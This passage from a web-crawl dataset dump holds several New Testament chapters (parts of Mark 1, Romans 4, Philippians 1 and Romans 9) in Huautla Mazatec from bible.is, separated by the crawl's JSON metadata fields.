tsibítsi'ba‑la̱, kitsò‑la̱: ―Tsà mejèn‑lè, ti̱tsjeè‑ná ch'in xi tjín‑na. 41Jesús kjòhi̱ma̱keè‑né, tsijmeé tsja nga tsohót'aà‑la̱ yijo‑la̱ xi̱ta̱ jè, kitsò‑la̱: ―Mejèn‑na, kàtandaà‑ne. 42Ti̱k'e̱é‑ne nga tíchja̱ Jesús, ni̱to̱ón kjòndaà‑ne; kitjaàxìn‑la̱ ch'in; kjòtsjeè‑ne yijo‑la̱. 43Jesús kisìhixat'aà xi̱ta̱ jè nga kiì‑ne. Ta̱nga ítjòn 'ñó tsibít'in‑la̱, kitsò‑la̱: 44―Ti̱ná'yi, kì yá xi̱ta̱ bèno̱jmí‑la̱. T'in ñánda tíjna no̱'miì, ta̱kó‑la̱ yijo‑lè nga jye kjòndaà‑ne; jch'i̱i kjo̱tjò‑lè, tsojmì xi síjé kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mé‑ne nga tsjeè kijna‑ne nguixko̱n Nainá ti̱koa̱ skoe̱ jñà xi̱ta̱ nga jye kjòndaà‑ne ch'in‑lè. 45Ta̱nga xi̱ta̱ jè, k'e̱ nga kiì‑ne, tsibíts'ia̱ nga tsibéno̱jmí yije kós'ín komàt'in. K'oa̱á komà‑ne nga jè Jesús, mì ti̱ kiì ma ta̱xki̱ jahas'en‑jiìn‑ne jñà na̱xa̱ndá; ya̱á tsibìjna ñánda tsjìn xi̱ta̱. Ta̱nga jñà xi̱ta̱ xi xki̱ xi ján i̱'nde inchrobà‑ne, ya̱á ijchòkon ñánda tíjna Jesús.\nSan Marcos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/1","date":"2013-12-05T03:39:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039002\/warc\/CC-MAIN-20131204131719-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"maa_Latn_score\": 1.0000039339065552}","num_words":927,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¿Tanga kó kixé ra a̱'ta 'tse̱ xi̱ta̱ jchínga‑ná Abraham? ¿Mé kjo̱nda ra isakò‑la̱? 2¿A kií nga̱tjì‑la̱ nga nda ki'sìn nga xi̱ta̱ kixi̱ kitsò‑la̱ Nainá? Majìn. Nga̱ tsa 'koa̱à‑la 'sín ki'sìn, kjomaá‑la ti̱jè nda isíkíjna‑ni ijo‑la̱. Tanga, mí‑la tsa ya̱ ngixko̱n Nainá. 3Tanga, ¿kó tsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá? Ki̱í 'sín tsò: \"Jè Abraham, ndaá kjokjiín‑la̱ a̱'ta 'tse̱ Nainá; 'koa̱á ma‑ni nga ko̱'sín kitsò‑la̱ Nainá nga xi̱ta̱ kixi̱‑ní.\" 4Jè to̱n ra tjábé‑la̱ xi̱ta̱ ra síxá, mì tsa ta 'bì kjo̱tjò‑la̱. Jé‑ní chjí‑la̱ nga síxá. 5Jngo xi̱ta̱ ra mì tsa jè bá'ta ikon jñà kjoa̱nda ra 'sín, tanga makjiín‑la̱ ra a̱'ta 'tse̱ Nainá, jè‑ní ra xi̱ta̱ kixi̱ ma ya̱ ngixko̱n Nainá. Nga̱ ta jè‑ni Nainá ra ma‑la̱ nga xi̱ta̱ kixi̱ 'sín jñà xi̱ta̱ ra 'cho tjín kjoa̱ ra 'sín, tà nga̱tjì‑la̱ nga makjiín‑la̱ ra a̱'ta 'tse̱. 6Jè xi̱ta̱ jchínga‑ná ra tsi'kìn David, 'koa̱á 'sín kitsò ra a̱'ta 'tse̱ kjo̱nda ra 'se̱‑la̱ xi̱ta̱, ra mì tsa jñà nga̱tjì‑la̱ kjoa̱ ra 'si̱in nga jè Nainá xi̱ta̱ kixi̱ ki̱tso̱‑la̱. 7Nga kitsò: Mé ta̱ tsja‑la̱ jñà xi̱ta̱ ra ijye inìhijcha'ta‑la̱ jñà kjoa̱'cho ra ki'sìn, ko̱ ra ijye kjóchjítjì jñà jé ra tjín‑la̱. 8Mé ta̱ tsja‑la̱ jñà xi̱ta̱ ra mì ti̱ kì kinda̱ 'sín‑ni Nainá jñà jé ra tjín‑la̱. 9Jñà kjo̱nda kìi̱ ra tsjá Nainá, ¿a tà 'tse̱é jñà xi̱ta̱ judío ra tjí'ta chi̱ba̱ ijo‑la̱? ¿A mí tsa ti̱'koa̱ 'tse̱‑te ra taxki̱ xi̱ta̱ ra mì tsa tjí'ta chi̱ba̱ ijo‑la̱? Ijyeé ko̱'sín kíxin‑no nga jè xi̱ta̱ jchínga‑ná Abraham, 'kia̱ nga kjokjiín‑la̱ a̱'ta 'tse̱ Nainá, 'koa̱á 'sín kitsò Nainá nga jè Abraham, xi̱ta̱ kixi̱‑ní. 10Tanga Abraham, 'kia̱ nga xi̱ta̱ kixi̱ kitsò‑la̱ jè Nainá, ¿a ta̱ 'koa̱ tjí'ta chi̱ba̱á ijo‑la̱? Majìn; 'kia̱á‑ní 'kia̱ nga ti̱kjè tjí'ta chi̱ba̱ ijo‑la̱. 11Abraham, 'kia̱ nga ijye ko̱'sín xi̱ta̱ kixi̱ kitsò‑la̱ Nainá, a̱kjòn 'kia̱á isi'ta chi̱ba̱ ijo‑la̱ koni jngo sello nga ya̱á 'ya‑la̱ nga ijyeé xi̱ta̱ kixi̱‑ní, ta nga̱tjì‑la̱ nga kjokjiín‑la̱ ra a̱'ta 'tse̱ Nainá 'kia̱ nga ti̱kjè tjí'ta chi̱ba̱ ijo‑la̱. 'Koa̱á ma‑ni nga jè ma xi̱ta̱ jchínga‑la̱ nga'tsì xi̱ta̱ ra makjiín‑la̱ ni̱'sín mì kì tjí'ta chi̱ba̱ ijo‑la̱. Ko̱ 'kia̱ nga makjiín‑la̱ xi̱ta̱ kìi̱, xi̱ta̱ kixi̱í tsò‑la̱ Nainá. 12Abraham jè ma xi̱ta̱ jchínga‑la̱ jñà ra xi̱ta̱ judío ra tjí'ta chi̱ba̱ ijo‑la̱; tanga mì tsa ta ki‑ni nga tjí'ta chi̱ba̱ ijo‑la̱; jñá‑ní ra 'koa̱ ti̱'sín i̱nchikjábé xkósòn‑la̱ Abraham nga ti̱'koa̱ i̱nchimakjiín‑la̱ koni 'sín nga kjokjiín‑la̱ Abraham 'kia̱ nga ti̱kjè si'ta chi̱ba̱ ijo‑la̱. 13Nainá 'kia̱ nga ko̱'sín kitsjà‑la̱ tsa'ba jè Abraham nga jé ko̱nga̱tsja jè i̱sà'nde ko̱ jñà xi̱ta̱ tje̱‑la̱ nga 'tse̱ ki̱tso̱‑la̱; mì tsa ki‑nì nga nda isìhitjasòn kjo̱téxoma, ta kií‑ní nga kjokjiín‑la̱ koni 'sín kiìchja̱ Nainá; 'koa̱á ma‑ni nga xi̱ta̱ kixi̱ kjomà ya̱ ngixko̱n Nainá. 14Tsa tà jñá‑la ko̱nga̱tsja kjo̱nda kìi̱ jñà xi̱ta̱ ra síhitjasòn kjoa̱ 'tse̱ kjo̱téxoma, mí‑la ti̱ mé chjí‑la̱ nga makjiín‑ná a̱'ta 'tse̱ Nainá tsa'koa̱; ko̱ mí‑la kì ki̱tjasòn‑ni koni 'sín ijye kitsjà tsa'ba Nainá. 15Ra kjo̱téxoma 'mì, kjo̱hi'iín bíné‑ná; tanga tsa tsìn kjo̱téxoma, mí‑la tsa mé kjo̱téxoma ki̱tjá ítjòn‑lá ni̱'sín ta mé ra 'sie̱én. 16Koni 'sín tsò 'én ra Nainá kitsjà‑la̱ Abraham, 'tse̱é‑ní jñà xi̱ta̱ ra makjiín‑la̱. Ta tsjá kjo̱tjò‑la̱ kjo̱nda‑la̱, mé‑ni nga katasijna kixi̱‑ni 'én nga ki̱tjasòn‑ní 'én kìi̱ a̱'ta 'tse̱ nga'tsì xi̱ta̱ ra ya̱ nchrabá‑ni tje̱‑la̱ Abraham. Mì tsa ta a̱'ta 'tse̱ jñà xi̱ta̱ ra tjín‑la̱ kjo̱téxoma, ti̱'koa̱á 'tse̱é‑te jñà ra taxki̱ xi̱ta̱ ra ti̱'koa̱ makjiín‑la̱ a̱'ta 'tse̱ Nainá koni 'sín kjokjiín‑la̱ Abraham. 'Koa̱á ma‑ni nga xi̱ta̱ jchínga 'mì‑lá Abraham nga'tsì‑ná ra makjiín‑ná a̱'ta 'tse̱ Nainá. 17Koni 'sín nga tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Kjín na̱xi̱ndá ra ijye ji̱ ísingátsja‑la nga ji̱ ka̱mi xi̱ta̱ jchínga‑la̱.\" Ko̱ 'koa̱á 'sín tíjna jè Abraham ya̱ ngixko̱n Nainá. Jè Abraham kjokjiín‑la̱ koni 'sín kiìchja̱ Nainá ra ma‑la̱ síkjaáya‑la̱ xi̱ta̱ ra ijye 'ken; ko̱ ti̱'koa̱á ma‑la̱ chja̱ kixi̱ a̱'ta 'tse̱ kjoa̱ ra kjè mé tjín koni tsa ijye ko̱tíma kjòn. 18Xi̱ta̱ jchínga‑ná Abraham nda kjokjiín‑la̱ koni 'sín kitsò‑la̱ Nainá ko̱ ndaá iskoñá‑la̱ kjoa̱ kìi̱; ni̱'sín mì kì tjíjin‑la̱ kó'sín ko̱ma‑la̱ nga ki̱tjasòn. 'Koa̱á 'sín kjomà‑ni nga kjìn na̱xi̱ndá, xi̱ta̱ jchínga tsò‑la̱, koni 'sín nga Nainá ijye kitsjà‑la̱ tsa'ba nga kitsò‑la̱: \"'Koa̱á 'sín 'ñó kjìn ko̱ma ra xi̱ta̱ tje̱‑li.\" 19Jè Abraham, mì kì isikjahajen‑la̱ ikon koni 'sín nga kjokjiín‑la̱ a̱'ta 'tse̱ Nainá, ni̱'sín ko̱'sín isíkítsjen nga mì ti̱ mé chjí‑la̱ ijo‑la̱ nga ijyeé 'ñó xi̱ta̱ jchínga; kja̱meé bijchó‑la̱ jngo sindo̱ nó; ti̱'koa̱á jè chjo̱ón‑la̱ Abraham ra 'mì Sara, chjo̱ón 'ndi̱‑ní ko̱ ya̱ ñánda̱ majcháya i̱xti, mì kì ti̱ mé chjí‑la̱. 20Tanga jè Abraham mì tsa jò tsi'ké‑la̱ ikon koni 'sín tsò 'én ra kitsjà‑la̱ Nainá. Ta isa̱á 'ñó nda kjokjiín‑isa‑la̱ ra a̱'ta 'tse̱ Nainá. Ko̱ 'ñó jeya isíkíjna; 21ngi ndaá tsikíjngo‑la̱ ikon nga jè Nainá, 'ñó tjín‑la̱ nga'ñó nga maá‑la̱ si̱hitjasòn ijye koni 'sín nga ijye kitsjà‑la̱ 'én‑la̱. 22'Koa̱á ma‑ni 'kia̱ nga kijtse Nainá nga ndaá kjokjiín‑la̱ Abraham, 'koa̱á 'sín kitsò‑la̱ nga xi̱ta̱ kixi̱‑ní. 23Nga ko̱'sín tíchja̱ xa̱jo̱n, mì tsa tà a̱'ta 'tse̱ Abraham‑jìn nga tíchja̱. 24Ti̱'koa̱á a̱'ta tsa̱jién‑ná nga tíchja̱ 'én kìi̱; nga ti̱'koa̱á 'si̱ín‑te‑ná kinda̱ Nainá nga xi̱ta̱ kixi̱ ki̱tso̱‑ná ta nga̱tjì‑la̱ nga makjiín‑ná a̱'ta 'tse̱ Nainá ra isikjaáya‑la̱ jè Na̱'ín‑ná Jesucristo a̱'ta 'tse̱ kjo̱biya; 25nga̱ kií xá‑ni ya̱ kjonga̱tsja‑ni kjo̱biya jè Jesús ta nga̱tjì‑la̱ jè jé ra tjín‑ná; ko̱ kií xá jaáya‑ila̱ mé‑ni nga xi̱ta̱ kixi̱ ko̱ma‑ná ya̱ ngixko̱n Nainá.\nRomanos 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/4","date":"2013-12-11T15:33:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164038376\/warc\/CC-MAIN-20131204133358-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":854,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì‑najiòn ra xi̱ta̱‑la̱ Nainá ma jiòn ra a̱'ta 'tse̱ Cristo Jesús, ra ya̱ titsa̱jna ya̱ na̱xi̱ndá Filipos, ko̱ jiòn ra nìkinda̱a na̱xi̱ndá‑la̱ Nainá, ko̱ jiòn ra ya̱ bisìko̱'ta‑te, 'koa̱á 'sín nìhixo'ta‑laji̱n 'a̱n Pablo ko̱ Timoteo ra chi̱'nda'ñó‑la̱ Jesucristo ma‑ji̱n. 2Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 3'Kia̱ nga india india bítsjen‑na ra a̱'ta tsa̱jiòn‑jiòn, 'koa̱á 'sín xin‑la̱ 'a̱n jè Nainá ra 'a̱n bexkon nga tse kjo̱nda kata'se‑la̱ ra jè. 4'Kia̱ nga ta mé hora‑ni nga chjà'tà‑la̱ Nainá ngi ko̱ó kjo̱tsja ra tjíjin inìma̱‑na̱ nga bitsá'ba‑la̱ ra a̱'ta tsa̱jiòn‑jiòn. 5Nga̱ ndaá i̱nchibisìko̱'tá‑nájiòn nga i̱nchi'bèna̱jmíya 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo skanda 'kia̱ nga ti̱'sa̱ kjokjiín‑nájiòn ko̱ skanda 'ndi̱‑ni̱. 6Ijyeé ko̱'sín kixi̱ tjín takoàa̱n nga jè Nainá ra ko̱'sín ya̱ a̱'ta tsa̱jiòn tsikí'tsia̱ko̱ kjo̱nda‑la̱, 'koa̱á 'sín nda si̱ìjngo xá‑la̱ skanda 'kia̱ nga jè ni̱chjin 'kia̱ nga kj'ií india‑ni jè Jesucristo. 7Tjín‑na kjo̱hixi̱ nga ko̱'sín síkítsjee̱n ra a̱'ta tsa̱jiòn‑jiòn ta nga̱tjì‑la̱ nga̱ 'ñó tsjake̱‑no. Ko̱ i̱nchiníngásòn-ko̱‑nájiòn nga'tsì‑no jè kjoa̱nda ra Nainá títsjá‑na ko̱ kji'tá ni̱chjin nga nda i̱nchibisìko̱'tá‑nájiòn a̱'ta 'tse̱ 'én xi̱tse̱‑la̱ Cristo ra nda tsò, mì tsa ta 'ndi̱‑ni̱ nga nda̱yá tíjna̱ya; ti̱'koa̱á bisìko̱'ta‑te‑nájiòn 'kia̱ nga báse̱n‑tjìa̱ ko̱ nga bakoo̱n nga ngi 'én kixi̱‑ní. 8Ndaá be jè Nainá kó'ki 'ñó tsjake̱‑najiòn nga'tsì‑no, koni 'sín tjín jè kjoa̱tsjacha ra jè Jesucristo kitsjá‑ná. 9'Kia̱ nga bitsá'ba‑la̱ 'a̱n Nainá, kií kjoa̱ kìi̱ ra síjé'ta‑la̱ 'a̱n: nga katamatse‑isa jè kjo̱tsjacha ra tjín‑nájiòn ko̱ katatsjá‑no kjoa̱chji̱ne̱ ko̱ nda katamachi̱ya‑no, 10mé‑ni nga ta jé kjón chjáajin jiòn jñà kjoa̱ ra isa̱ nda tjín. Ko̱ 'koa̱á 'sín tsje ki̱tsa̱hijyo ko̱ ni̱mé jé sa̱kò ra a̱'ta tsa̱jiòn jè ni̱chjin 'kia̱ nga kj'i̱í india‑ni Cristo, 11nga a̱'ta tsa̱jiòn kata'ya‑la̱ kjoa̱ ra kixi̱ tjín ra a̱'ta 'tse̱ Cristo nchrabá‑ni mé‑ni nga jè Nainá jeya ko̱ 'nga kíjna‑ni. 12Jiòn ndí 'ndsé ko̱ ndí tichjeé ra makjiín‑no a̱'ta 'tse̱ Cristo, mején‑na nga nda katasijin‑no, nga nga'tsì kjoa̱ ra tíma'tiaa̱n; ta isa̱á jnchro jñà títsjá nga'ñó‑isa nga nda tímabísòn‑isa jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo. 13Nga̱ nga'tsì chíchàn ra síkonda̱ ya̱ ni'ya masen ko̱ nga'tsì xi̱ta̱ ra i'ka, 'koa̱á 'sín ijye i̱nchibe nga kií nda̱yá tíjna̱'ya‑na ta nga̱tjì‑la̱ nga Cristo síxá'ta‑la̱. 14Jñà 'ndsé ko̱ tichjeé, 'kia̱ nga i̱nchibe nga nda̱yá tíjna̱'ya; kjín ma‑ni ra 'ñó i̱nchi'bé‑la̱ ikon ra a̱'ta 'tse̱ Na̱'ín‑ná, mì tsa i̱nchitsakjón‑jìn, ta isa̱á i̱nchisítáhijín ijo‑la̱ nga i̱nchisíka'bísòn jè 'én‑la̱ Nainá. 15Kixi̱í kjoa̱, tjín i'ka xi̱ta̱ ra 'béna̱jmíya‑te a̱'ta 'tse̱ Cristo, tanga ta kjoa̱chi̱ni̱‑ní nga ko̱'sín 'sín, nga̱ ta jé ra mejèn‑la̱ nga isa̱ nda si̱ìkítsa̱hijyo ijo‑la̱ nga isa̱ kjìn ko̱ma xi̱ta̱‑la̱. Tanga tjín‑te xi̱ta̱ ra xá nda tjín‑ni inìma̱‑la̱ 'kia̱ nga ko̱'sín i̱nchi'béna̱jmíya, 16nga ko̱ó kjo̱tsjacha‑la̱ nga chja̱ ra a̱'ta 'tse̱ Cristo. Ijyeé be‑ní nga kií xá i̱ isíkíjna‑na Nainá ya̱ a̱ya nda̱yá, mé‑ni nga 'a̱n kóse̱n‑tjìa̱ jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo kó'sín nga kixi̱ tjín. 17Tanga jñà xi̱ta̱ ra i'ka, 'kia̱ nga ko̱'sín 'béna̱jmíya ra a̱'ta 'tse̱ Cristo, ta ijo‑la̱á ra ko̱ i̱nchisíko̱, ta jé ra mejèn‑la̱ nga jñà nda si̱ìkítsa̱jna xi̱ta̱ ko̱ mì tsa ngi kixi̱ tjín‑ni ikon nga ko̱'sín 'sín; 'koa̱á 'sín mejèn‑la̱ nga katatse‑isa kjo̱hi'in ra ijye tísikjiáa̱n nga tíjna̱'ya nda̱yá. 18Tanga, ¿mé ra ko̱ma‑la̱? Ni̱'sín ta kó'sín nga tí'sena̱jmíya jè 'én nda‑la̱ Cristo, a ngi ko̱ó kjo̱hixi̱‑la̱ nga i̱nchi'béna̱jmíya o̱ ra mí tsa ngi ko̱ kjo̱hixi̱‑la̱, takó 'ñó matsja‑na nga ko̱'sín tíma. Ko̱ isa̱á ta 'ñó ko̱tsja‑isa‑na nga tífì ni̱chjin, 19nga̱ ijyeé be‑ná, tsa ko̱'sín tíma, tsó‑ni kjoa̱ nga maá kóti̱jnandi̱í‑na kjo̱hi'in ra tíbatojiàa̱n, ta nga̱tjì‑la̱, nga̱ 'koa̱á 'sín i̱nchibitsa'batjí‑nájiòn ko̱ 'koa̱á 'sín tíbasìko̱‑na jè Inìma̱ Tsje‑la̱ Nainá ra a̱'ta 'tse̱ Jesucristo nchrabá‑ni. 20'Koa̱á 'sín 'ñó mejèn‑na, ko̱ 'koa̱á 'sín tíkoñáa̱ nga mì tsa mé kjo̱sabà sa̱kò‑na ra a̱'ta 'tse̱ Nainá; ta isa̱á jnchro mì tsa tsakjon jiàa̱n kó'sín nga kichjàa̱, koni 'sín nga tí'sin ki'ta, mé‑ni jè Cristo jeya kíjna‑ni ta mé ra ko̱ma'tiaa̱n, a kóti̱jnakoón‑isa o̱ ra ki̱yá‑náa̱. 21Nga̱ tsa kóti̱jnakon‑isa, ta a̱'ta 'tse̱ Cristo‑ní nga kóti̱jnakon‑na, ko̱ tsa ki̱yáa̱, ta sikíjnesón‑isa jnchro. 22Tanga tsa ndaá tjín xá ra 'sin‑isa a̱'ta 'tse̱ Nainá 'kia̱ nga tíjna̱kon‑isa, ya̱á jndáa̱ mì kì be mé ra 'siaa̱n. 23'Ñó chjá ma‑na, mì kì be ñáa̱ ra kjoahíjiaa̱n ta ngajò kjoa̱ kìi̱; mején‑na tsa tsjaá ijye katìyaa̱ mé‑ni nga ya̱ íkáti̱jnako̱‑na jè Cristo ya̱ ján ngajmi, nga̱ be‑náa̱, isa̱á ta nda tjín tsa ko̱'sín ko̱ma. 24Tanga ta nga̱tjì‑la̱ ra kjo̱nda tsa̱jiòn‑jiòn, isa̱á machjeén nga kóti̱jnakon‑isa i̱ i̱sà'nde. 25'Kia̱ nga ijye tjíjngo takoàn nga 'koa̱ 'sín isa̱ nda tjín, be‑ná nga takó kóti̱jnakoón‑isa, ko̱ ya̱á kóti̱jnako̱‑najiòn mé‑ni nga kósi̱ko̱o‑no nga isa̱ 'ñó kixi̱ katamakjiín-isa‑no ko̱ katasakó‑no kjoa̱tsja a̱'ta 'tse̱ kjoa̱ makjiín‑no, 26mé‑ni nga 'kia̱ ska̱jin india‑ná xàngie̱é, batoó tsja 'se̱‑najiòn koni 'sín nga ki'sìn Cristo nga tsasìko̱‑na. 27Ni̱'sín ta mé ra katama, jè ra machjeén nga 'koa̱á 'sín 'tia̱àn jiòn koni 'sín nga bakèn‑la̱ nga 'si̱in jñà xi̱ta̱ ra makjiín‑la̱ 'én xi̱tse̱‑la̱ Cristo ra nda tsò. 'Koa̱á 'sín 'tia̱àn jiòn tsa íkatsíjen‑no o̱ ra mí íkatsíjen‑no; jè ra mejèn‑na nga kji'nchrè ra a̱'ta tsa̱jiòn‑jiòn nga kixi̱í titsa̱jna jiòn nga i̱nchibixkàn‑tjiò koni 'sín nga makjiín‑ná ra a̱'ta 'tse̱ 'én xi̱tse̱‑la̱ Cristo ra nda tsò. 28Ko̱, kì tà chjàn bi'nde jiòn nga jñà mincháxkón‑no xi̱ta̱ ra kondra̱ fì‑no. Jñà xi̱ta̱ kìi̱, ya̱á ske̱‑ni ra jñà, nga ta ya̱á jchi̱ja; tanga ra a̱'ta tsa̱jiòn‑jiòn, ya̱á nda jcha̱‑la̱ nga kítjo̱kajin‑no kjo̱hi'in a̱'ta 'tse̱ jé‑no. Ko̱ jñà kjoa̱ kìi̱ ra ko̱'sín o̱ko̱ma, a̱'ta 'tse̱ Nainá nchrabá‑ni. 29'Koa̱á ti̱'sín tjín kjoa̱nda ra ijye ki'tsì‑najiòn, nga mì tsa ta jè‑jìn nga ta katamakjiín‑najiòn ra a̱'ta 'tse̱ Cristo, ti̱'koa̱á skanda ska̱jiín‑te jiòn kjo̱hi'in ra a̱'ta 'tse̱. 30Nga̱ takó 'koa̱á 'sín tjín kjo̱si ra tíchíkjoa̱jin‑najiòn koni 'sín tjín kjo̱si ra kijcha jiòn nga kísikjiáa̱n ra 'a̱n, ko̱ takó tísikjín‑náa̱ kjo̱hi'in koni 'sín nga na'yá jiòn.\nFilipenses 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Phil\/1","date":"2013-12-08T20:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163806278\/warc\/CC-MAIN-20131204133006-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":945,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngi 'én kixi̱í ra tíchjà a̱'ta 'tse̱ Cristo, mì tsa 'én ndiso‑jìn [nga 'ñó makájno‑na jñà xi̱ta̱ xàngia̱]; jè inìma̱‑na̱, 'koa̱á 'sín síchi̱ya kixi̱‑na, nga̱ jè sabá Inìma̱ Tsje‑la̱ Nainá ra ko̱'sín síchi̱ya‑la̱, 2nga 'ñó tse kjo̱ba tjín‑na, ko̱ kji'tá ni̱chjin nga 'on tíma‑la̱ inìma̱‑na̱, 3skanda ko̱maá‑la kóse̱n'taxìn‑la Cristo tsa tà kó'sín‑ni nga sa̱kò‑la̱ kjo̱nda jñà xi̱ta̱ xàngia̱a ra 'tse̱ na̱xi̱ndá Israel, tanga mì kì tsjá'nde‑na Nainá nga ko̱'sín 'siaa̱n. 4Nga̱ jñà xi̱ta̱ Israel, jè Nainá, 'koa̱á 'sín iskábétjò nga i̱xti‑la̱ kitsò‑la̱, ko̱ tsakón‑la̱ kjoa̱jeya‑la̱, ko̱ jñá‑ní ra tsikíndajín‑ko̱ jngo kjoa̱ nga jngo 'én tsakájna‑la̱, ti̱'koa̱á itjábé‑la̱ kjo̱téxoma 'tse̱ Moisés, ko̱ ti̱'koa̱á ki'tsì‑te‑la̱ kjo̱hixi̱ kó'sín ske̱xkón Nainá, ko̱ itjábé‑la̱ 'én koni 'sín nga kitsjà tsa'ba Nainá. 5Jñà xi̱ta̱ Israel ya̱á nchrabá‑ni tje̱‑la̱ a̱'ta 'tse̱ xi̱ta̱ jchínga ra xá jahíjin‑ni Nainá; ko̱ jè Cristo [ra xá isìkasén‑ni Nainá] nga xi̱ta̱ i̱sà'nde kjomà, ti̱'koa̱á ya̱á inchrabà'ta‑te‑ni a̱'ta 'tse̱ tje̱‑la̱ xi̱ta̱ jchínga kìi̱. Jè Cristo, jè‑ní Nainá ra tíbatéxoma ijye‑la̱ nga'tsì ta mé ra tjín, nga jeya tíjna ki'ta skanda ta mé ni̱chjin‑ni. Ko̱'sín katama. 6[Nga mì kì makjiín‑la̱ jñà xi̱ta̱ Israel], mì tsa ki‑ni nga jè 'én‑la̱ Nainá mì kì nda itjasòn a̱'ta 'tse̱ xi̱ta̱ kìi̱. Kií ko̱kjamà‑ni nga mì tsa tà nga'tsì‑ni xi̱ta̱ ra ya̱ nchrabá‑ni a̱'ta 'tse̱ tje̱‑la̱ Israel, na̱xi̱ndá Israel ma. 7Ni̱'sín jñà xi̱ta̱ ra ya̱ inchrabà‑ni a̱'ta 'tse̱ tje̱‑la̱ Abraham, mì tsa ta nga'tsì‑ni nga itjábé‑la̱ kjo̱nda koni i̱xti‑la̱; nga̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, ki̱í 'sín tsò: \"Jñà xi̱ta̱ tje̱‑li, ta ya̱á kji̱nchrabà'tà‑ni ra a̱'ta 'tse̱ Isaac.\" 8Jñà kjoa̱ kìi̱, 'koa̱á 'sín tsò‑ni, nga jñà i̱xti‑la̱ Nainá, mì tsa jè ra chjí‑la̱ yá 'tse̱ tje̱ ra nchrabá'ta‑ni. Ta jñá‑ní ra i̱xti‑la̱ Nainá ma jñà ra ijye ko̱'sín kitsjà‑la̱ tsa'ba Nainá nga i̱xti‑la̱ ki̱tso̱‑la̱. Tà jñá kjón‑ní ra ko̱'sín baxki̱'ta nga kixi̱ kjoa̱ nga tje̱‑la̱ Abraham 'mì. 9Nga̱ ki̱í tsò 'én ra ki'tsì‑la̱ Abraham a̱'ta 'tse̱ Nainá: \"'Ndi̱ inó kjíhi̱'tse india‑la, ko̱ jè chjo̱ón‑li Sara, jngo ndí i'ndí 'se̱‑la̱.\" 10Ko̱ mì tsa ta jñá‑nì kjoa̱ kìi̱ ra kjomà; jè Rebeca i̱xti'ño̱ó ki'se‑la̱ ra 'tse̱ Isaac, jè ra xi̱ta̱ jchínga‑ná ma. 11‑ 13'Kia̱ nga ti̱kje tsin jñà i̱xti'ño̱ kìi̱, ko̱ ti̱kjè mé kjoa̱ ra ma‑la̱ 'sín ra nda tjín ko̱ kjoa̱ ra 'cho tjín, Nainá, 'koa̱á 'sín kitsò‑la̱ jè Rebeca: \"Jè ra ma jchínga, chi̱'ndaá ko̱ma‑la̱ ra isa̱ i'ndí.\" Koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jè ra 'mì Jacob isa̱á 'ñó nda kjotsjàke̱, ko̱ jè ra 'mì Esaú kjojtike̱‑ná.\" 'Koa̱á 'sín kjòkixi̱ nga Nainá tjí'ndeé‑la̱ nga kjoa̱hájin xi̱ta̱ koni 'sín ijye jè tjínda‑la̱ nga ki̱chja̱‑la̱ jñà xi̱ta̱ ra jè mejèn‑la̱. Mì tsa kinda̱ 'sín mé ra ijye ki'sìn xi̱ta̱. 14¿Kó'sín kixé? ¿A kjoa̱'choó ra 'sín Nainá? Majìn, mì tsa ko̱ 'sín tjín‑jìn. 15Jè Nainá, 'koa̱á 'sín kitsò‑la̱ Moisés: \"Ko̱hi̱ma̱ke‑náa̱ jè xi̱ta̱ ra 'a̱n mejèn‑na nga ko̱hi̱ma̱kee̱, ko̱ 'oón ko̱ma‑na jè ra 'a̱n mejèn‑na nga 'on ko̱ma‑na.\" 16'Koa̱á 'sín tjín jè kjo̱nda‑la̱ Nainá, mì tsa ki‑ni tsa jién ko̱'sín mejèn‑ná nga tjábé‑ná, ni̱ mì tsa ki‑ni tsa jién 'ñó binè‑lá ijo‑ná nga fatsjieé Nainá; ta̱jngoó Nainá tsjá‑la̱ kjo̱nda jñà xi̱ta̱ ra jè mahi̱ma̱ke. 17'Koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga kitsò‑la̱ Faraón: \"Kií xá isíkíjna‑la nga xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá Egipto tijni, mé‑ni nga 